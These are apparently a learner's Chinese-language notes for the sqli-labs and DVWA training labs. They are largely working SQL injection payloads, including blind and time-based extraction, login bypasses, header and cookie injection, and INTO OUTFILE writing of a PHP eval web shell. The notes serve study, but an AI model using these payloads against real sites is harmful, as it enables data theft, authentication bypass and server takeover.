sqlilabs
sqlilabs
手工基本操作
报错注入
库:
union select 1,group_concat(schema_name) from information_schema.schemata--+
表:
union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'
字段
union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
数据
union select 1,group_concat(user_id,user,password) from users
写入shell
union select 1,'<?php eval($_post[shell]); ?>' into outfile 'C:/xampp/htdocs/dvwa/testtest.php'
盲注
数据库相关:
数据库数量
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))=115 --+
数据库长度
http://127.0.0.1/sqlilab/Less-5/?id=1' and length(database())='9'--+
当前数据库
http://127.0.0.1/sqlilab/Less-5/?id=1' and left((select database()),1)='a'--+
数据表:
第一个表
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))=101--+
第二个表
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))=101--+
字段
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select username from security.users limit 0,1),1,1))=68–+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and ascii(substr((select password from security.users limit 0,1),1,1))=68–+
延时注入
判断注入点:
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
猜数据库长度:
if(*,*,*)
length(database())
true:sleep(10) false:sleep(1)
if(length(database())=8,sleep(5),1)--+
http://127.0.0.1/sqlilab/Less-9/?id=1' and if(length(database())=8,sleep(10),sleep(1))--+
猜数据库名字:
if(*,*,*)
left((select database()),1)='a'
true:sleep(10) false:sleep(1)
http://127.0.0.1/sqlilab/Less-9/?id=1' and if(left((select database()),1)='a',sleep(10),sleep(1))--+
查出所有表:
if(*,*,*)
ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))=101–+
true:sleep(10) false:sleep(1)
http://127.0.0.1/sqlilab/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))=101,sleep(10),sleep(1))--+
查字段名字
if(*,*,*)
ascii(substr((select username from security.users limit 0,1),1,1))=68–+
true:sleep(10) false:sleep(1)
http://127.0.0.1/sqlilab/Less-9/?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68–+,sleep(10),sleep(1))--+
猜字段数据
if(*,*,*)
ascii(substr((select username from security.users limit 0,1),1,1))=68–+
true:sleep(10) false:sleep(1)
http://127.0.0.1/sqlilab/Less-9/?id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,sleep(10),sleep(1))--+
sqlilabs
第一关
单引号注入
http://127.0.0.1/sqlilab/Less-1/?id=1'(注入语句) --+
第二关
双引号注入
http://127.0.0.1/sqlilab/Less-2/?id=1" ( 注入语句)--+
第三关
单引号 括号
http://127.0.0.1/sqlilab/Less-3/?id=1') ( 注入语句) --+
第四关
双引号 括号
http://127.0.0.1/sqlilab/Less-4/?id=1") ( 注入语句)--+
第五关
布尔型盲注(有报错) -单引号
http://127.0.0.1/sqlilab/Less-5/?id=1' (注入语句)--+
第六关
布尔型盲注(有报错) -双引号
http://127.0.0.1/sqlilab/Less-6/?id=1" (注入语句)--+
第七关
文件读写
http://127.0.0.1/sqlilab/Less-7/?id=1')) (注入语句)---+
基础知识
#into outfile函数 写文件
select 'mysql is very good' into outfile 'text1.txt'
select 'mysql is very good' into outfile "写要保存的路径用\\"
#load_file()函数 读取本地文件
select load_file('写文件保存的路径')
if函数,if(condition,A,B),如果条件condition为true,则执行语句A,否则执行B
使用union联合查询写入木马
php版本:<?php @eval($_POST['pass']);?>
写入语句:
http://127.0.0.1/sqlilab/Less-7/?id=1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile"D:\\phpStudy\\PHPTutorial\\WWW\\sqlilab\\Less-7\\b.php" --+
第八关
布尔型盲注(无报错) -双引号
http://127.0.0.1/sqlilab/Less-8/?id=1'(注入语句)--+
第九关
延时注入(界面无回显,只依靠时间长短判断) -单引号
http://127.0.0.1/sqlilab/Less-9/?id=1' and if(注入语句,sleep(1),sleep(10))--+
第十关
延时注入(界面无回显,只依靠时间长短判断) -双引号
http://127.0.0.1/sqlilab/Less-10/?id=1" and if(注入语句,sleep(1),sleep(10))--+
第十一关
登录框注入(单引号)
#万能密码:
uname=admin'(or 1=1) #&passwd=''&submit=Submit
uname=admin'(注入语句) #&passwd=11&submit=Submit
uname=admin&passwd=1' (注入语句) #&submit=Submit
第十二关
登录框注入(双引号 括号)
#万能密码
uname=admin")(or 1=1)#&passwd=&submit=Submit
uname=admin")#&passwd=admin&submit=Submit
第十三关
登录框注入 (单引号 括号)
#万能密码
uname=admin')or 1=1#&passwd=&submit=Submit
uname=admin')(注入语句)#&passwd=&submit=Submit
第十四关
登录框注入(双引号)
#万能密码
uname=admin" or 1=1#&passwd=&submit=Submit
uname=admin"(注入语句)#&passwd=&submit=Submit
第十五关
登录框注入(单引号 盲注)
#万能密码
uname=admin' or 1=1#&passwd=&submit=Submit
uname=admin'(注入语句)#&passwd=1&submit=Submit
第十六关
登录框注入(双引号 盲注)
uname=admin")(注入语句)#&passwd=admin&submit=Submit
第十七关
密码重置框 (单引号 报错)
#后台语句
SELECT username, password FROM users WHERE username= $uname LIMIT 0,1
UPDATE users SET password = '$passwd' WHERE username='$row1'
#注入语句
uname=admin&passwd=11'(注入语句)#&submit=Submit
第十八关
user-agent注入(单引号 报错)
#后台语句
SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
#注入语句
User-Agent: qing' and updatexml(1,concat(0x7e,(注入语句),0x7e),1) or'
第十九关
refer 注入
' or updatexml(1,concat(0x7e,(注入语句),0x7e),1),1,1)#
第二十关
cookie注入(单引号)
Cookie: uname=admin' order by 5#
Cookie: uname=admin'(注入语句)#
第21关
cookie注入(base64加密 单引号)
#注入语句:
-giao') union select 1,2,database()#
加密后:LWdpYW8nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
第22关
cookie注入(base64加密 双引号)
#注入语句:
-giao') union select 1,2,database()#
加密后:LWdpYW8nKSB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj